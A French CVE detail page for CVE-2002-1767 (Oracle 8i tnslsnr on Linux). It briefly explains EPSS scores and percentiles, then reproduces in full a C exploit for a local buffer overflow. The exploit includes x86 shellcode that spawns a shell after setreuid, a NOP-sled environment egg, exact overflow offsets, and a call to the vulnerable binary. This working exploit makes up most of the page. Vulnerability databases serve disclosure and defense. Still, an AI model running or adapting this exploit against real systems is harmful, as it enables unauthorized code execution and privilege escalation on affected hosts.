CVE-2002-1767 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/4413/info Oracle 8i is a powerful relational database product. It is available for Windows, Linux, and a wide range of Unix operating systems. A vulnerability has been reported with some versions of Oracle 8i for Linux. A local attacker able to execute the tnslsnr process may pass an oversized command line parameter and cause a buffer overflow, possibly leading to the execution of arbitrary code as the user 'oracle'. Versions of Oracle 8i available for other operating systems have not yet been confirmed as vulnerable. */ /* * Yet another exploit for the 'Unbreakable' Oracle database * The vulnerability was found by KF / Snosoft (http://www.snosoft.com) * Shellcode created by r0z / Promisc * Exploit coded up by The Itch / Promisc (http://www.promisc.org) * * This exploit was developed on the Snosoft vulnerability research machines * mail dotslash@snosoft.com if you wish to participate in vuln research. * * - The Itch * - itchie@promisc.org * * - Technical details concerning the exploit - * * 1). Buffer overflow occurs after writing more then 2132 bytes into the * buffer at the command line 2128 to overwrite ebp, 2132 to * overwrite eip). * 2). If you write more then 2132 bytes, other frames will be * overwritten afterwards and will mess up your flow of arbitrary code * execution. (It must be exactly 2132 bytes!) * 3). shellcode will try to do a setreuid(515); */ #include <stdio.h> #include <stdlib.h> #define DEFAULT_EGG_SIZE 4096 #define NOP 0x90 /* 2132 + 1 for the \0 at the end of the string */ #define DEFAULT_BUFFER_SIZE 2133 /* Shellcode made by r0z (r0z@promisc.org) */ char shellcode[] = "\x31\xdb" /* xor %ebx, %ebx */ "\x31\xc9" /* xor %ecx, %ecx */ "\xf7\xe3" /* mul %ebx */ "\xb0\x46" /* mov $0x46, %al */ "\x66\xbb\x03\x02" /* mov $0x1fc, %bx */ "\x49" /* dec %ecx */ "\xcd\x80" /* int $0x80 */ "\x31\xd2" /* xor %edx, %edx */ "\x52" /* push %edx */ "\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */ "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */ "\x89\xe3" /* mov %esp, %ebx */ "\x52" /* push %edx */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp, %ecx */ "\x6a\x0b" /* pushl $0xb */ "\x58" /* pop %eax */ "\xcd\x80"; /* int $0x80 */ int main(int argc, char *argv[]) { char *buff; char *egg; char *ptr; long *addr_ptr; long addr; int bsize = DEFAULT_BUFFER_SIZE; int eggsize = DEFAULT_EGG_SIZE; int i; int get_sp = (int)&get_sp; if(argc > 1) { bsize = atoi(argv[1]); } if(!(buff = malloc(bsize))) { printf("unable to allocate memory for %d bytes\n", bsize); exit(1); } if(!(egg = malloc(eggsize))) { printf("unable to allocate memory for %d bytes\n", eggsize); exit(1); } printf("Oracle tnslsrn 8.1.5\n"); printf("Vulnerability found by KF / http://www.snosoft.com\n"); printf("Coded by The Itch / http://www.promisc.org\n\n"); printf("Using return address: 0x%x\n", get_sp); printf("Using buffersize : %d\n", bsize - 1); ptr = buff; addr_ptr = (long *) ptr; for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = get_sp; } ptr = egg; for(i = 0; i < eggsize - strlen(shellcode)-1; i++) { *(ptr++) = NOP; } for(i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=", 4); putenv(egg); buff[bsize - 1 ]= '\0'; execl("/home/u01/app/oracle/product/8.1.5/bin/tnslsnr", "tnslsnr", buff, 0); return 0; }